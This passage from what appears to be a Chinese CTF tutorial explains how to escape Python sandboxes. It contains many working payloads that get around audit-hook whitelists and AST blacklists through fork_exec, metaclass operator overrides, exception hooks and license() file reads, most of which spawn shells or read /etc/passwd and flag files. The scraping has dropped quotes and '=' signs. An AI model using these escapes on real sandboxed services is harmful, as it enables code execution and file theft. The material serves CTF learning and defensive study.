) - int: ...__process_args: 传递给新进程的命令行参数通常为程序路径及其参数的列表。__executable_list: 可执行程序路径的列表。__close_fds: 如果设置为True则在新进程中关闭所有的文件描述符。__fds_to_keep: 一个元组表示在新进程中需要保持打开的文件描述符的列表。__cwd_obj: 新进程的工作目录。__env_list: 环境变量列表它是键和值的序列例如[“PATH/usr/bin”, “HOME/home/user”]。__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符用于在父子进程间进行通信。__errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。__restore_signals: 如果设置为1则在新创建的子进程中恢复默认的信号处理。__call_setsid: 如果设置为1则在新进程中创建新的会话。__pgid_to_set: 设置新进程的进程组 ID。__gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。__child_umask: 设置新进程的 umask。__preexec_fn: 在新进程中执行的函数它会在新进程的主体部分执行之前调用。__allow_vfork: 如果设置为True则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork但是使用 vfork 可能会有一些问题 。
下面是一个最小化示例:
import os
import _posixsubprocess_posixsubprocess.fork_exec([b/bin/cat,/etc/passwd], [b/bin/cat], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)xxxxxxxxxx import osimport _posixsubprocess_posixsubprocess.fork_exec([b/bin/cat,/etc/passwd], [b/bin/cat], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)1 2 3 4 import os import _posixsubprocess _posixsubprocess.fork_exec([b/bin/cat,/etc/passwd], [b/bin/cat], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) 结合上面的 __loader__.load_module(fullname) 可以得到最终的 payload:
__loader__.load_module(_posixsubprocess).fork_exec([b/bin/cat,/etc/passwd], [b/bin/cat], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(os).pipe()), False, False,False, None, None, None, -1, None, False)可以看到全程触发了 builtins.input/result, compile, exec 三个 hook, 这些 hook 的触发都是因为 input, compile, exec 函数而触发的, __loader__.load_module 和 _posixsubprocess 都没有触发.
[] builtins.input/result, (__loader__.load_module(\_posixsubprocess\).fork_exec([b/bin/cat,/flag], [b/bin/cat], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\os\).pipe()), False, False,False, None, None, None, -1, None, False),)
[] compile, (b__loader__.load_module(\_posixsubprocess\).fork_exec([b/bin/cat,/flag], [b/bin/cat], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\os\).pipe()), False, False,False, None, None, None, -1, None, False), string)
[] exec, (code object module at 0x7fbecc924670, file string, line 1,)另一种解法: 篡改内置函数
这道 audit hook 题还有另外一种解法.可以看到白名单是通过 set 函数返回的, set 作为一个内置函数实际上也是可以修改的
WHITED_EVENTS set({builtins.input, builtins.input/result, exec, compile}) 比如我们将 set 函数修改为固定返回一个包含了 os.system 函数的列表
__builtins__.set lambda x: [builtins.input, builtins.input/result,exec, compile, os.system] 这样 set 函数会固定返回带有 os.system 的列表.
__builtins__.set lambda x: [builtins.input, builtins.input/result,exec, compile, os.system] 最终 payload:
#
exec(for k,v in enumerate(globals()[__builtins__]): print(k,v))# 篡改函数
exec(globals()[__builtins__][set]lambda x: [builtins.input, builtins.input/result,exec, compile, os.system]\nimport os\nos.system(cat flag2.txt))其他不触发 hook 的方式
使用 __loader__.load_module(os) 是为了获取 os 模块, 其实在 no builtins 利用手法中, 无需导入也可以获取对应模块. 例如:
# 获取 sys
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if wrapper not in str(x.__init__) and sys in x.__init__.__globals__ ][0][sys]# 获取 os
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if _sitebuiltins. in str(x) and not _Helper in str(x) ][0][sys].modules[os]# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in .__class__.__base__.__subclasses__() if x.__name___wrap_close][0][system](ls)绕过 AST 沙箱
AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单. 例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.
import ast
import sys
import osdef verify_secure(m):for x in ast.walk(m):match type(x):case (ast.Import|ast.ImportFrom|ast.Call):print(fERROR: Banned statement {x})return Falsereturn Trueabspath os.path.abspath(__file__)
dname os.path.dirname(abspath)
os.chdir(dname)print(-- Please enter code (last line must contain only --END))
source_code
while True:line sys.stdin.readline()if line.startswith(--END):breaksource_code linetree compile(source_code, input.py, exec, flagsast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!print(-- Executing safe code:)compiled compile(source_code, input.py, exec)exec(compiled)下面的几种利用方式来源于 hacktricks
without call
如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.
装饰器
利用 payload 如下:
exec
input
class X:pass当我们输入上述的代码后, Python 会打开输入,此时我们再输入 payload 就可以成功执行命令. exec
... input
... class X:
... pass
...
class __main__.X__import__(os).system(ls)由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单, 最终传入的 payload 是由 input 接收的, 因此也不会被拦截.
其实这样的话,构造其实可以有很多,比如直接打开 help 函数.
help
class X:pass这样可以直接进入帮助文档:
Help on class X in module __main__:class X(builtins.object)| Data descriptors defined here:| | __dict__| dictionary for instance variables (if defined)| | __weakref__| list of weak references to the object (if defined)
(END)xxxxxxxxxx Help on class X in module __main__:class X(builtins.object) | Data descriptors defined here: | | __dict__ | dictionary for instance variables (if defined) | | __weakref__ | list of weak references to the object (if defined)(END)1 2 3 4 5 6 7 8 9 10 11 Help on class X in module __main__: class X(builtins.object) | Data descriptors defined here: | | __dict__ | dictionary for instance variables (if defined) | | __weakref__ | list of weak references to the object (if defined) (END) 再次输入 !sh 即可打开 /bin/sh
函数覆盖
我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法.因此我们只需要覆盖其 __getitem__ 方法, 即可在使用 obj[argument] 执行代码: class A:
... __getitem__ exec
... A()[__import__(os).system(ls)]但是这里调用了 A 的构造函数, 因此 AST 中还是会出现 ast.Call。
如何在不执行构造函数的情况下获取类实例呢?
metaclass 利用
Python 中提供了一种元类(metaclass)概念。元类是创建类的“类”。在 Python中类本身也是对象元类就是创建这些类即类的对象的类。
元类在 Python 中的作用主要是用来创建类。类是对象的模板而元类则是类的模板。元类定义了类的行为和属性就像类定义了对象的行为和属性一样。
下面是基于元类的 payload, 在不使用构造函数的情况下触发
class Metaclass(type):__getitem__ exec class Sub(metaclassMetaclass):passSub[import os; os.system(sh)]除了 __getitem__ 之外其他方法的利用方式如下:
__sub__ (k - import os; os.system(sh))
__mul__ (k * import os; os.system(sh))
__floordiv__ (k // import os; os.system(sh))
__truediv__ (k / import os; os.system(sh))
__mod__ (k % import os; os.system(sh))
__pow__ (k**import os; os.system(sh))
__lt__ (k import os; os.system(sh))
__le__ (k import os; os.system(sh))
__eq__ (k import os; os.system(sh))
__ne__ (k ! import os; os.system(sh))
__ge__ (k import os; os.system(sh))
__gt__ (k import os; os.system(sh))
__iadd__ (k import os; os.system(sh))
__isub__ (k - import os; os.system(sh))
__imul__ (k * import os; os.system(sh))
__ifloordiv__ (k // import os; os.system(sh))
__idiv__ (k / import os; os.system(sh))
__itruediv__ (k / import os; os.system(sh)) (Note that this only works when from __future__ import division is in effect.)
__imod__ (k % import os; os.system(sh))
__ipow__ (k ** import os; os.system(sh))
__ilshift__ (k import os; os.system(sh))
__irshift__ (k import os; os.system(sh))
__iand__ (k import os; os.system(sh))
__ior__ (k | import os; os.system(sh))
__ixor__ (k ^ import os; os.system(sh))示例:
class Metaclass(type):__sub__ execclass Sub(metaclassMetaclass):passSub-import os; os.system(sh)exceptions 利用
利用 exceptions 的目的也是为了绕过显示地实例化一个类, 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化. payload 如下:
class RCE(Exception):def __init__(self):self import os; os.system(sh)__iadd__ exec raise RCE raise 会进入 RCE 的 __init__, 然后触发 __iadd__ 也就是 exec.
当然, 触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.
class X:def __init__(self, a, b, c):self os.system(sh)__iadd__ exec
sys.excepthook X
1/0这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.
class X():def __init__(self, a, b, c, d, e):self print(open(flag).read())__iadd__ eval
__builtins__.__import__ X
{}[1337]这个 payload 将 __import__ 函数进行覆盖, 最后的 {}[1337] 在正常情况下会引发 KeyError 异常因为 Python 在引发异常时会尝试导入某些模块比如traceback 模块导入时就会触发 __import__.
通过 license 函数读取文件
__builtins__.__dict__[license]._Printer__filenames[/etc/passwd]
a __builtins__.help
a.__class__.__enter__ __builtins__.__dict__[license]
a.__class__.__exit__ lambda self, *args: None
with (a as b):pass上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容. __builtins__.__dict__[license]._Printer__filenames
[/usr/lib/python3.11/../LICENSE.txt, /usr/lib/python3.11/../LICENSE, /usr/lib/python3.11/LICENSE.txt, /usr/lib/python3.11/LICENSE, ./LICENSE.txt, ./LICENSE]payload 中将 help 类的 __enter__ 方法覆盖为 license 方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license 方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的. 例如:
class MyContext:pass__builtins__.__dict__[license]._Printer__filenames[/etc/passwd]
a MyContext()
a.__class__.__enter__ __builtins__.__dict__[license]
a.__class__.__exit__ lambda self, *args: None
with (a as b):pass其他绕过技巧
模拟 no builitins 环境
no builtins 环境和 python 交互式解析器还是有所差异, 但交互式解析器并没有提供指定命名空间的功能,因此可以自己编写一个脚本进行模拟:
def repl():global_namespace {}local_namespace {}while True:try:code input( )try:# Try to eval the code first.result eval(code, global_namespace, local_namespace)except SyntaxError:# If a SyntaxError occurs, this might be because the user entered a statement,# in which case we should use exec.exec(code, global_namespace, local_namespace)else:print(result)except EOFError:breakexcept Exception as e:print(fError: {e})if __name__ __main__:repl() 参考文章
萌新入门手册如何使用 nc/ncat - LUG USTC
Bypass Python sandboxes - HackTricks
Escape from python-jail | Room of Requirement | pwn what you want (siriuswhiter.github.io)
CTF Pyjail 沙箱逃逸绕过合集 | DummyKitty’s blog
[PyJail] python沙箱逃逸探究·中HNCTF题解 - WEEK2 - 知乎 (zhihu.com)
python jail总结 – Aiwin-Blog